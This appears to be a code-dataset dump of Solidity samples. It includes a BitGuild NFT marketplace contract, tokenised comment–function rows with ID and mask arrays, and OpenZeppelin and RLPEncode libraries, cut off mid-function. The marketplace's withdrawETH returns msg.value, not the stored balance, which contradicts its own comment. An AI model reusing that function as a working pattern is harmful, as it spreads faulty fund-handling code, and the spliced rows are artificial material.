_to The new owner /// @param _tokenId The NFT to transfer function safeTransferFrom(address _from, address _to, uint256 _tokenId) external; /// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE /// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE /// THEY MAY BE PERMANENTLY LOST /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function transferFrom(address _from, address _to, uint256 _tokenId) external; /// @notice Change or reaffirm the approved address for an NFT /// @dev The zero address indicates there is no approved address. /// Throws unless `msg.sender` is the current NFT owner, or an authorized /// operator of the current owner. /// @param _approved The new approved NFT controller /// @param _tokenId The NFT to approve function approve(address _approved, uint256 _tokenId) external; /// @notice Enable or disable approval for a third party ("operator") to manage /// all of `msg.sender`'s assets /// @dev Emits the ApprovalForAll event. The contract MUST allow /// multiple operators per owner. /// @param _operator Address to add to the set of authorized operators /// @param _approved True if the operator is approved, false to revoke approval function setApprovalForAll(address _operator, bool _approved) external; /// @notice Get the approved address for a single NFT /// @dev Throws if `_tokenId` is not a valid NFT. /// @param _tokenId The NFT to find the approved address for /// @return The approved address for this NFT, or the zero address if there is none function getApproved(uint256 _tokenId) external view returns (address); /// @notice Query if an address is an authorized operator for another address /// @param _owner The address that owns the NFTs /// @param _operator The address that acts on behalf of the owner /// @return True if `_operator` is an approved operator for `_owner`, false otherwise function isApprovedForAll(address _owner, address _operator) external view returns (bool); } // @title ERC-721 Non-Fungible Token Standard // @dev Include interface for both new and old functions interface ERC721TokenReceiver { function onERC721Received(address _from, uint256 _tokenId, bytes data) external returns(bytes4); function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes data) external returns(bytes4); } /* * @title BitGuildMarketplace * @dev: Marketplace smart contract for BitGuild.com */ contract BitGuildMarketplace is BitGuildAccessAdmin { // Callback values from zepellin ERC721Receiver.sol // Old ver: bytes4(keccak256("onERC721Received(address,uint256,bytes)")) = 0xf0b9e5ba; bytes4 constant ERC721_RECEIVED_OLD = 0xf0b9e5ba; // New ver w/ operator: bytes4(keccak256("onERC721Received(address,address,uint256,bytes)")) = 0xf0b9e5ba; bytes4 constant ERC721_RECEIVED = 0x150b7a02; // BitGuild Contracts BitGuildToken public PLAT = BitGuildToken(0x7E43581b19ab509BCF9397a2eFd1ab10233f27dE); // Main Net BitGuildWhitelist public Whitelist = BitGuildWhitelist(0xA8CedD578fed14f07C3737bF42AD6f04FAAE3978); // Main Net BitGuildFeeProvider public FeeProvider = BitGuildFeeProvider(0x58D36571250D91eF5CE90869E66Cd553785364a2); // Main Net // BitGuildToken public PLAT = BitGuildToken(0x0F2698b7605fE937933538387b3d6Fec9211477d); // Rinkeby // BitGuildWhitelist public Whitelist = BitGuildWhitelist(0x72b93A4943eF4f658648e27D64e9e3B8cDF520a6); // Rinkeby // BitGuildFeeProvider public FeeProvider = BitGuildFeeProvider(0xf7AB04A47AA9F3c8Cb7FDD701CF6DC6F2eB330E2); // Rinkeby uint public defaultExpiry = 7 days; // default expiry is 7 days enum Currency { PLAT, ETH } struct Listing { Currency currency; // ETH or PLAT address seller; // seller address address token; // token contract uint tokenId; // token id uint price; // Big number in ETH or PLAT uint createdAt; // timestamp uint expiry; // createdAt + defaultExpiry } mapping(bytes32 => Listing) public listings; event LogListingCreated(address _seller, address _contract, uint _tokenId, uint _createdAt, uint _expiry); event LogListingExtended(address _seller, address _contract, uint _tokenId, uint _createdAt, uint _expiry); event LogItemSold(address _buyer, address _seller, address _contract, uint _tokenId, uint _price, Currency _currency, uint _soldAt); event LogItemWithdrawn(address _seller, address _contract, uint _tokenId, uint _withdrawnAt); event LogItemExtended(address _contract, uint _tokenId, uint _modifiedAt, uint _expiry); modifier onlyWhitelisted(address _contract) { require(Whitelist.isWhitelisted(_contract), "Contract not in whitelist."); _; } // @dev fall back function function () external payable { revert(); } // @dev Retrieve hashkey to view listing function getHashKey(address _contract, uint _tokenId) public pure returns(bytes32 key) { key = _getHashKey(_contract, _tokenId); } // =========================================== // Fee functions (from fee provider contract) // =========================================== // @dev get fees function getFee(uint _price, address _currency, address _buyer, address _seller, address _token) public view returns(uint percent, uint fee) { (percent, fee) = FeeProvider.getFee(_price, _currency, _buyer, _seller, _token); } // =========================================== // Seller Functions // =========================================== // Deposit Item // @dev deprecated callback (did not handle operator). added to support older contracts function onERC721Received(address _from, uint _tokenId, bytes _extraData) external returns(bytes4) { _deposit(_from, msg.sender, _tokenId, _extraData); return ERC721_RECEIVED_OLD; } // @dev expected callback (include operator) function onERC721Received(address _operator, address _from, uint _tokenId, bytes _extraData) external returns(bytes4) { _deposit(_from, msg.sender, _tokenId, _extraData); return ERC721_RECEIVED; } // @dev Extend item listing: new expiry = current expiry + defaultExpiry // @param _contract whitelisted contract // @param _tokenId tokenId function extendItem(address _contract, uint _tokenId) public onlyWhitelisted(_contract) returns(bool) { bytes32 key = _getHashKey(_contract, _tokenId); address seller = listings[key].seller; require(seller == msg.sender, "Only seller can extend listing."); require(listings[key].expiry > 0, "Item not listed."); listings[key].expiry = now + defaultExpiry; emit LogListingExtended(seller, _contract, _tokenId, listings[key].createdAt, listings[key].expiry); return true; } // @dev Withdraw item from marketplace back to seller // @param _contract whitelisted contract // @param _tokenId tokenId function withdrawItem(address _contract, uint _tokenId) public onlyWhitelisted(_contract) { bytes32 key = _getHashKey(_contract, _tokenId); address seller = listings[key].seller; require(seller == msg.sender, "Only seller can withdraw listing."); // Transfer item back to the seller ERC721 gameToken = ERC721(_contract); gameToken.safeTransferFrom(this, seller, _tokenId); emit LogItemWithdrawn(seller, _contract, _tokenId, now); // remove listing delete(listings[key]); } // =========================================== // Purchase Item // =========================================== // @dev Buy item with ETH. Take ETH from buyer, transfer token, transfer payment minus fee to seller // @param _token Token contract // @param _tokenId Token Id function buyWithETH(address _token, uint _tokenId) public onlyWhitelisted(_token) payable { _buy(_token, _tokenId, Currency.ETH, msg.value, msg.sender); } // Buy with PLAT requires calling BitGuildToken contract, this is the callback // call to approve already verified the token ownership, no checks required // @param _buyer buyer // @param _value PLAT amount (big number) // @param _PLAT BitGuild token address // @param _extraData address _gameContract, uint _tokenId function receiveApproval(address _buyer, uint _value, BitGuildToken _PLAT, bytes _extraData) public { require(_extraData.length > 0, "No extraData provided."); // We check msg.sender with our known PLAT address instead of the _PLAT param require(msg.sender == address(PLAT), "Unauthorized PLAT contract address."); address token; uint tokenId; (token, tokenId) = _decodeBuyData(_extraData); _buy(token, tokenId, Currency.PLAT, _value, _buyer); } // =========================================== // Admin Functions // =========================================== // @dev Update fee provider contract function updateFeeProvider(address _newAddr) public onlyOperator { require(_newAddr != address(0), "Invalid contract address."); FeeProvider = BitGuildFeeProvider(_newAddr); } // @dev Update whitelist contract function updateWhitelist(address _newAddr) public onlyOperator { require(_newAddr != address(0), "Invalid contract address."); Whitelist = BitGuildWhitelist(_newAddr); } // @dev Update expiry date function updateExpiry(uint _days) public onlyOperator { require(_days > 0, "Invalid number of days."); defaultExpiry = _days * 1 days; } // @dev Admin function: withdraw ETH balance function withdrawETH() public onlyOwner payable { msg.sender.transfer(msg.value); } // @dev Admin function: withdraw PLAT balance function withdrawPLAT() public onlyOwner payable { uint balance = PLAT.balanceOf(this); PLAT.transfer(msg.sender, balance); } // =========================================== // Internal Functions // =========================================== function _getHashKey(address _contract, uint _tokenId) internal pure returns(bytes32 key) { key = keccak256(abi.encodePacked(_contract, _tokenId)); } // @dev create new listing data function _newListing(address _seller, address _contract, uint _tokenId, uint _price, Currency _currency) internal { bytes32 key = _getHashKey(_contract, _tokenId); uint createdAt = now; uint expiry = now + defaultExpiry; listings[key].currency = _currency; listings[key].seller = _seller; listings[key].token = _contract; listings[key].tokenId = _tokenId; listings[key].price = _price; listings[key].createdAt = createdAt; listings[key].expiry = expiry; emit LogListingCreated(_seller, _contract, _tokenId, createdAt, expiry); } // @dev deposit unpacks _extraData and log listing info // @param _extraData packed bytes of (uint _price, uint _currency) function _deposit(address _seller, address _contract, uint _tokenId, bytes _extraData) internal onlyWhitelisted(_contract) { uint price; uint currencyUint; (currencyUint, price) = _decodePriceData(_extraData); Currency currency = Currency(currencyUint); require(price > 0, "Invalid price."); _newListing(_seller, _contract, _tokenId, price, currency); } // @dev handles purchase logic for both PLAT and ETH function _buy(address _token, uint _tokenId, Currency _currency, uint _price, address _buyer) internal { bytes32 key = _getHashKey(_token, _tokenId); Currency currency = listings[key].currency; address seller = listings[key].seller; address currencyAddress = _currency == Currency.PLAT ? address(PLAT) : address(0); require(currency == _currency, "Wrong currency."); require(_price > 0 && _price == listings[key].price, "Invalid price."); require(listings[key].expiry > now, "Item expired."); ERC721 gameToken = ERC721(_token); require(gameToken.ownerOf(_tokenId) == address(this), "Item is not available."); if (_currency == Currency.PLAT) { // Transfer PLAT to marketplace contract require(PLAT.transferFrom(_buyer, address(this), _price), "PLAT payment transfer failed."); } // Transfer item token to buyer gameToken.safeTransferFrom(this, _buyer, _tokenId); uint fee; (,fee) = getFee(_price, currencyAddress, _buyer, seller, _token); // getFee returns percentFee and fee, we only need fee if (_currency == Currency.PLAT) { PLAT.transfer(seller, _price - fee); } else { require(seller.send(_price - fee) == true, "Transfer to seller failed."); } // Emit event emit LogItemSold(_buyer, seller, _token, _tokenId, _price, currency, now); // delist item delete(listings[key]); } function _decodePriceData(bytes _extraData) internal pure returns(uint _currency, uint _price) { // Deserialize _extraData uint256 offset = 64; _price = _bytesToUint256(offset, _extraData); offset -= 32; _currency = _bytesToUint256(offset, _extraData); } function _decodeBuyData(bytes _extraData) internal pure returns(address _contract, uint _tokenId) { // Deserialize _extraData uint256 offset = 64; _tokenId = _bytesToUint256(offset, _extraData); offset -= 32; _contract = _bytesToAddress(offset, _extraData); } // @dev Decoding helper function from Seriality function _bytesToUint256(uint _offst, bytes memory _input) internal pure returns (uint256 _output) { assembly { _output := mload(add(_input, _offst)) } } // @dev Decoding helper functions from Seriality function _bytesToAddress(uint _offst, bytes memory _input) internal pure returns (address _output) { assembly { _output := mload(add(_input, _offst)) } } }
* @dev Calculate the custom fee based on buyer, seller, game token or combo of these/
function getFee(uint _price, address _currency, address _buyer, address _seller, address _token) public view returns(uint percent, uint fee) { bytes32 key = _getHash(_currency, _buyer, _seller, _token); uint customPercentFee = customFee[key]; (percent, fee) = _getFee(_price, customPercentFee); }
905,398
[ 1, 8695, 326, 1679, 14036, 2511, 603, 27037, 16, 29804, 16, 7920, 1147, 578, 16778, 434, 4259, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2812, 1340, 12, 11890, 389, 8694, 16, 1758, 389, 7095, 16, 1758, 389, 70, 16213, 16, 1758, 389, 1786, 749, 16, 1758, 389, 2316, 13, 1071, 1476, 1135, 12, 11890, 5551, 16, 2254, 14036, 13, 288, 203, 3639, 1731, 1578, 498, 273, 389, 588, 2310, 24899, 7095, 16, 389, 70, 16213, 16, 389, 1786, 749, 16, 389, 2316, 1769, 203, 3639, 2254, 1679, 8410, 14667, 273, 1679, 14667, 63, 856, 15533, 203, 3639, 261, 8849, 16, 14036, 13, 273, 389, 588, 14667, 24899, 8694, 16, 1679, 8410, 14667, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/3/0x74BA749206EAC143E0139Da360Da37F65704359D/sources/contracts/Comptroller.sol
* @notice Return the address of the COMP token @return The address of COMP/ return 0xc00e94Cb662C3520282E6f5717214004A7f26888;
function getCompAddress() public view returns (address) { return 0xC960E07157c59634345359F564dd7218F49Ab64E; }
5,055,500
[ 1, 990, 326, 1758, 434, 326, 13846, 1147, 327, 1021, 1758, 434, 13846, 19, 327, 374, 6511, 713, 73, 11290, 15237, 6028, 22, 39, 4763, 18212, 11149, 41, 26, 74, 10321, 28406, 3461, 26565, 37, 27, 74, 5558, 5482, 28, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 336, 2945, 1887, 1435, 1071, 1476, 1135, 261, 2867, 13, 288, 203, 3639, 327, 374, 14626, 29, 4848, 41, 8642, 27985, 71, 6162, 4449, 24, 25574, 4763, 29, 42, 25, 1105, 449, 9060, 2643, 42, 7616, 5895, 1105, 41, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (proxy/Clones.sol) pragma solidity ^0.8.0; /** * @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for * deploying minimal proxy contracts, also known as "clones". * * > To simply and cheaply clone contract functionality in an immutable way, this standard specifies * > a minimal bytecode implementation that delegates all calls to a known, fixed address. * * The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2` * (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the * deterministic method. * * _Available since v3.4._ */ library Clones { /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`. * * This function uses the create opcode, which should never revert. */ function clone(address implementation) internal returns (address instance) { assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create(0, ptr, 0x37) } require(instance != address(0), "ERC1167: create failed"); } /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`. * * This function uses the create2 opcode and a `salt` to deterministically deploy * the clone. Using the same `implementation` and `salt` multiple time will revert, since * the clones cannot be deployed twice at the same address. */ function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) { assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create2(0, ptr, 0x37, salt) } require(instance != address(0), "ERC1167: create2 failed"); } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress( address implementation, bytes32 salt, address deployer ) internal pure returns (address predicted) { assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000) mstore(add(ptr, 0x38), shl(0x60, deployer)) mstore(add(ptr, 0x4c), salt) mstore(add(ptr, 0x6c), keccak256(ptr, 0x37)) predicted := keccak256(add(ptr, 0x37), 0x55) } } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address implementation, bytes32 salt) internal view returns (address predicted) { return predictDeterministicAddress(implementation, salt, address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.4.0; /** * @title RLPEncode * @dev A simple RLP encoding library. * @author Bakaoh */ library RLPEncode { /* * Internal functions */ /** * @dev RLP encodes a byte string. * @param self The byte string to encode. * @return The RLP encoded string in bytes. */ function encodeBytes(bytes memory self) internal pure returns (bytes memory) { bytes memory encoded; if (self.length == 1 && uint8(self[0]) <= 128) { encoded = self; } else { encoded = concat(encodeLength(self.length, 128), self); } return encoded; } /** * @dev RLP encodes a list of RLP encoded byte byte strings. * @param self The list of RLP encoded byte strings. * @return The RLP encoded list of items in bytes. */ function encodeList(bytes[] memory self) internal pure returns (bytes memory) { bytes memory list = flatten(self); return concat(encodeLength(list.length, 192), list); } /** * @dev RLP encodes a string. * @param self The string to encode. * @return The RLP encoded string in bytes. */ function encodeString(string memory self) internal pure returns (bytes memory) { return encodeBytes(bytes(self)); } /** * @dev RLP encodes an address. * @param self The address to encode. * @return The RLP encoded address in bytes. */ function encodeAddress(address self) internal pure returns (bytes memory) { bytes memory inputBytes; assembly { let m := mload(0x40) mstore(add(m, 20), xor(0x140000000000000000000000000000000000000000, self)) mstore(0x40, add(m, 52)) inputBytes := m } return encodeBytes(inputBytes); } /** * @dev RLP encodes a uint. * @param self The uint to encode. * @return The RLP encoded uint in bytes. */ function encodeUint(uint self) internal pure returns (bytes memory) { return encodeBytes(toBinary(self)); } /** * @dev RLP encodes an int. * @param self The int to encode. * @return The RLP encoded int in bytes. */ function encodeInt(int self) internal pure returns (bytes memory) { return encodeUint(uint(self)); } /** * @dev RLP encodes a bool. * @param self The bool to encode. * @return The RLP encoded bool in bytes. */ function encodeBool(bool self) internal pure returns (bytes memory) { bytes memory encoded = new bytes(1); encoded[0] = (self ? bytes1(0x01) : bytes1(0x80)); return encoded; } /* * Private functions */ /** * @dev Encode the first byte, followed by the `len` in binary form if `length` is more than 55. * @param len The length of the string or the payload. * @param offset 128 if item is string, 192 if item is list. * @return RLP encoded bytes. */ function encodeLength(uint len, uint offset) private pure returns (bytes memory) { bytes memory encoded; if (len < 56) { encoded = new bytes(1); encoded[0] = bytes32(len + offset)[31]; } else { uint lenLen; uint i = 1; while (len / i != 0) { lenLen++; i *= 256; } encoded = new bytes(lenLen + 1); encoded[0] = bytes32(lenLen + offset + 55)[31]; for(i = 1; i <= lenLen; i++) { encoded[i] = bytes32((len / (256**(lenLen-i))) % 256)[31]; } } return encoded; } /** * @dev Encode integer in big endian binary form with no leading zeroes. * @notice TODO: This should be optimized with assembly to save gas costs. * @param _x The integer to encode. * @return RLP encoded bytes. */ function toBinary(uint _x) private pure returns (bytes memory) { bytes memory b = new bytes(32); assembly { mstore(add(b, 32), _x) } uint i; for (i = 0; i < 32; i++) { if (b[i] != 0) { break; } } bytes memory res = new bytes(32 - i); for (uint j = 0; j < res.length; j++) { res[j] = b[i++]; } return res; } /** * @dev Copies a piece of memory to another location. * @notice From: https://github.com/Arachnid/solidity-stringutils/blob/master/src/strings.sol. * @param _dest Destination location. * @param _src Source location. * @param _len Length of memory to copy. */ function memcpy(uint _dest, uint _src, uint _len) private pure { uint dest = _dest; uint src = _src; uint len = _len; for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } uint mask = 256 ** (32 - len) - 1; assembly 